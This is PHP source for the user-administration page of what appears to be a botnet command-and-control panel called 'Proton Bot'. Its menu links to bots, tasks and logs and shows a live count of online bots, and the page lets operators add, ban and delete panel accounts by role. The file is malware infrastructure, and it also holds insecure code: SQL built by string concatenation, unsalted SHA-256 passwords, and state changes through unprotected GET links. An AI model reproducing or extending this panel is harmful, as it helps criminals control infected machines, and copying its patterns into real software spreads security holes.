<?php
$u = explode(":", $_SESSION['LiteHTTP']);
$username = $u[0];
$userperms = $odb->query("SELECT privileges FROM users WHERE username = '".$username."'")->fetchColumn(0);

include 'inc/stats.php';
include 'inc/localization.php';
?>
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<title>Control Panel</title>
	<meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport'>
	<link href="css/bootstrap.min.css" rel="stylesheet" type="text/css" />
	<link href="css/font-awesome.min.css" rel="stylesheet" type="text/css" />
	<link href="css/ionicons.min.css" rel="stylesheet" type="text/css" />
	<link href="css/main.css" rel="stylesheet" type="text/css" />
	<!--[if lt IE 9]>
		<script src="js/html5shiv.js"></script>
		<script src="js/respond.min.js"></script>
	<![endif]-->
</head>
<body class="wysihtml5-supported skin-black fixed">
	<header class="header">
		<a href="?p=main" class="logo">
			Proton Bot
		</a>
		<nav class="navbar navbar-static-top" role="navigation">
			<div class="navbar-right">
				<ul class="nav navbar-nav">
                    <li>
                        <a href = "inc/localization.php?language=ENG">
                            <img src="img/flags/gb.png" alt="English">
						</a>
                    </li>
                    <li>
                        <a style="padding-left:0px" href = "inc/localization.php?language=RU">
                            <img src="img/flags/ru.png" alt="Русский">
                        </a>
                    </li>
					<li class="dropdown user user-menu">
						<a style="padding-left:0px" href="#" class="dropdown-toggle" data-toggle="dropdown">
							<i class="glyphicon glyphicon-user"></i>
							<span><?php echo $username; ?> <i class="caret"></i></span>
						</a>
						<ul class="dropdown-menu">
							<li class="user-footer">
								<div class="pull-left">
									<a href="?p=account" class="btn btn-default btn-flat"><?php print($pageText['editaccount'][0]); ?></a>
								</div>
								<div class="pull-right">
									<a href="?p=logout" class="btn btn-default btn-flat"><?php print($pageText['logout'][0]); ?></a>
								</div>
							</li>
						</ul>
					</li>
				</ul>
			</div>
		</nav>
	</header>
	<div class="wrapper row-offcanvas row-offcanvas-left">
		<aside class="left-side sidebar-offcanvas">
			<section class="sidebar">
				<ul class="sidebar-menu">
					<li>
						<a href="?p=main">
							<i class="fa fa-dashboard"></i> <span> <?php print($pageText['dashboard'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=bots">
							<i class="fa fa-list"></i> <span> <?php print($pageText['bots'][0]); ?> </span>
							<small id ="online-left-bar" class="badge pull-right bg-green">
    							<?php
        							echo $online;
                                ?>
                            </small>
						</a>
					</li>
					<li>
						<a href="?p=tasks">
							<i class="fa fa-bar-chart"></i> <span> <?php print($pageText['tasks'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=settings">
							<i class="fa fa-cog"></i> <span> <?php print($pageText['settings'][0]); ?> </span>
						</a>
					</li>
					<li  class="active">
						<a href="?p=users">
							<i class="fa fa-users"></i> <span> <?php print($pageText['users'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=logs">
							<i class="fa fa-list-alt"></i> <span> <?php print($pageText['logs'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=help">
							<i class="fa fa-question"></i> <span> <?php print($pageText['help'][0]); ?> </span>
						</a>
					</li>
				</ul>
			</section>
		</aside>
		<aside class="right-side">
			<section class="content">
				<div class="row">
					<div class="col-lg-12 col-xs-24">
						<?php
						if ($userperms == "user")
						{
					    	echo '<div class="alert alert-danger">'.$pageText['noViewPermission'][0].'</div>';
							die();
						}
						if (isset($_POST['doAdd']))
						{
							$user = $_POST['username'];
							$pass = hash("sha256", $_POST['password']);
							$perm = $_POST['permissions'];
							if (ctype_alnum($user))
							{
								if (ctype_digit($perm))
								{
									switch ($perm)
									{
										case "1":
											$perm = "user";
											break;
										case "2":
											$perm = "moderator";
											break;
										case "3":
											$perm = "admin";
											break;
									}
									$i = $odb->prepare("INSERT INTO users VALUES(NULL, :u, :p, :pr, '1')");
									$i->execute(array(":u" => $user, ":p" => $pass, ":pr" => $perm));
									$i2 = $odb->prepare("INSERT INTO plogs VALUES(NULL, :u, :ip, :r, UNIX_TIMESTAMP())");
									$i2->execute(array(":u" => $username, ":ip" => $_SERVER['REMOTE_ADDR'], ":r" => "Created user ".$user));
									echo '<div class="alert alert-success">'.$pageText['userAdded'][0].'</div><meta http-equiv="refresh" content="2;url=?p=users">';
								}else{
									echo '<div class="alert alert-danger">'.$pageText['permissionsWasNotDigit'][0].'</div>';
								}
							}else{
								echo '<div class="alert alert-danger">'.$pageText['usernamemustbeAlphaNumeric'][0].'</div>';
							}
						}
						if (isset($_GET['del']))
						{
							
							$del = $_GET['del'];
							if (!ctype_digit($del))
							{
								echo '<div class="alert alert-danger">User ID was not a digit. Reloading...</div><meta http-equiv="refresh" content="2;url=?p=users">';
							}else{
								if ($del != "1")
								{
									$un = $odb->query("SELECT username FROM users WHERE id = '".$del."'")->fetchColumn(0);
									$d = $odb->prepare("DELETE FROM users WHERE id = :i LIMIT 1");
									$d->execute(array(":i" => $del));
									$i3 = $odb->prepare("INSERT INTO plogs VALUES(NULL, :u, :ip, :r, UNIX_TIMESTAMP())");
									$i3->execute(array(":u" => $username, ":ip" => $_SERVER['REMOTE_ADDR'], ":r" => "Deleted user ".$un));
									echo '<div class="alert alert-success">'.$pageText['userDeleted'][0].'</div><meta http-equiv="refresh" content="2;url=?p=users">';
								}else{
									echo '<div class="alert alert-danger">'.$pageText['userCannotBeDeleted'][0].'</div><meta http-equiv="refresh" content="2;url=?p=users">';
								}
							}
						}
						if (isset($_GET['ban']))
						{
							$ban = $_GET['ban'];
							if (!ctype_digit($ban))
							{
								echo '<div class="alert alert-danger">'.$pageText['userIdNotDigit'][0].'</div><meta http-equiv="refresh" content="2;url=?p=users">';
							}else{
								if ($ban != "1")
								{
									list($st,$un) = $odb->query("SELECT status,username FROM users WHERE id = '".$ban."'")->fetch();
									if ($st == "1")
									{
										$b = $odb->prepare("UPDATE users SET status = '2' WHERE id = :i LIMIT 1");
										$b->execute(array(":i" => $ban));
										$i4 = $odb->prepare("INSERT INTO plogs VALUES(NULL, :u, :ip, :r, UNIX_TIMESTAMP())");
										$i4->execute(array(":u" => $username, ":ip" => $_SERVER['REMOTE_ADDR'], ":r" => "Banned user ".$un));
										echo '<div class="alert alert-success">'.$pageText['userBanned'][0].'</div><meta http-equiv="refresh" content="2;url=?p=users">';
									}else{
										$b = $odb->prepare("UPDATE users SET status = '1' WHERE id = :i LIMIT 1");
										$b->execute(array(":i" => $ban));
										$i4 = $odb->prepare("INSERT INTO plogs VALUES(NULL, :u, :ip, :r, UNIX_TIMESTAMP())");
										$i4->execute(array(":u" => $username, ":ip" => $_SERVER['REMOTE_ADDR'], ":r" => "Unbanned user ".$un));
										echo '<div class="alert alert-success">'.$pageText['userUnbanned'][0].'</div><meta http-equiv="refresh" content="2;url=?p=users">';
									}
								}else{
									echo '<div class="alert alert-danger">'.$pageText['userCannotBeBanned'][0].'</div><meta http-equiv="refresh" content="2;url=?p=users">';
								}
							}
						}
						?>
					</div>
					<div class="col-lg-6 col-xs-12">
						<div class="nav-tabs-custom">
							<ul class="nav nav-tabs">
								<li class="active">
									<a href="#man" data-toggle="tab"><?php print($pageText['manage'][0]); ?></a>
								</li>
								<li>
									<a href="#add" data-toggle="tab"><?php print($pageText['adduser'][0]); ?></a>
								</li>
							</ul>
							<div class="tab-content">
								<div class="tab-pane active" id="man">
									<table class="table table-condensed table-bordered table-hover">
										<thead>
											<tr>
												<th>#</th>
												<th><?php print($pageText['username'][0]); ?></th>
												<th><?php print($pageText['permissions'][0]); ?></th>
												<th><?php print($pageText['lastaccess'][0]); ?></th>
												<th><?php print($pageText['actions'][0]); ?></th>
											</tr>
										</thead>
										<tbody>
											<?php
											$users = $odb->query("SELECT * FROM users");
											while ($us = $users->fetch(PDO::FETCH_ASSOC))
											{
												$lds = $odb->prepare("SELECT date FROM plogs WHERE username = :u AND action = 'Logged in' ORDER BY date LIMIT 1");
												$lds->execute(array(":u" => $us['username']));
												$ld = $lds->fetchColumn(0);
												if ($ld == NULL || $ld == "")
												{
													$ld = "Never";
												}else{
													$ld = date("m-d-Y, h:i A", $ld);
												}
												$stat = "";
												if ($us['status'] == "1")
												{
													$stat = '<a href="?p=users&ban='.$us['id'].'" title="'.$pageText['banuser'][0].'"><i class="fa fa-lock"></i></a>';
												}else{
													$stat = '<a href="?p=users&ban='.$us['id'].'" title="'.$pageText['unbanuser'][0].'"><i class="fa fa-unlock-alt"></i></a>';
												}
												echo '<tr><td>'.$us['id'].'</td><td>'.$us['username'].'</td><td>'.ucfirst($us['privileges']).'</td><td>'.$ld.'</td><td><center><a href="?p=edituser&id='.$us['id'].'" title="'.$pageText['edituser'][0].'"><i class="fa fa-edit"></i></a>&nbsp;'.$stat.'&nbsp;<a href="?p=users&del='.$us['id'].'" title="'.$pageText['deleteuser'][0].'"><i class="fa fa-times-circle"></i></a></center></td></tr>';
											}
											?>
										</tbody>
									</table>
								</div>
								<div class="tab-pane" id="add">
									<form action="" method="POST" class="col-lg-6">
										<label><?php print($pageText['username'][0]); ?></label>
										<input type="text" class="form-control" name="username">
										<br>
										<label><?php print($pageText['password'][0]); ?></label>
										<input type="password" class="form-control" name="password">
										<br>
										<label><?php print($pageText['permissions'][0]); ?></label>
										<select class="form-control" name="permissions">
											<option value="1">User</option>
											<option value="2">Moderator</option>
											<option value="3">Admin</option>
										</select>
										<br>
										<center><input type="submit" name="doAdd" class="btn btn-danger" value="<?php print($pageText['adduser'][0]) ?>"></center>
									</form>
									<div class="clearfix"></div>
								</div>
							</div>
						</div>
					</div>
					<div class="col-lg-6 col-xs-12">
						<h2><?php print($pageText['help'][0]) ?></h2>
						<br>
						<h4><b><?php print($pageText['permissions'][0]) ?></b></h4>
						<p> <?php print($pageText['userPermissionDescription'][0]) ?>
						<br><br>
						<?php print($pageText['moderatorPermissionDescription'][0]) ?>
						<br><br>
					    <?php print($pageText['adminPermissionDescription'][0]) ?></p>
					</div>
				</div>
			</section>
		</aside>
	</div>
	<script src="js/jquery.min.js" type="text/javascript"></script>
	<script src="js/bootstrap.min.js" type="text/javascript"></script>
	<script src="js/jquery-ui.min.js" type="text/javascript"></script>
	<script>
		$(document).ready(function() {
			setInterval(function () {
				$('#online-left-bar').load('../inc/jquery/online.php')
			}, 2000);
		});
	</script>
</body>
</html>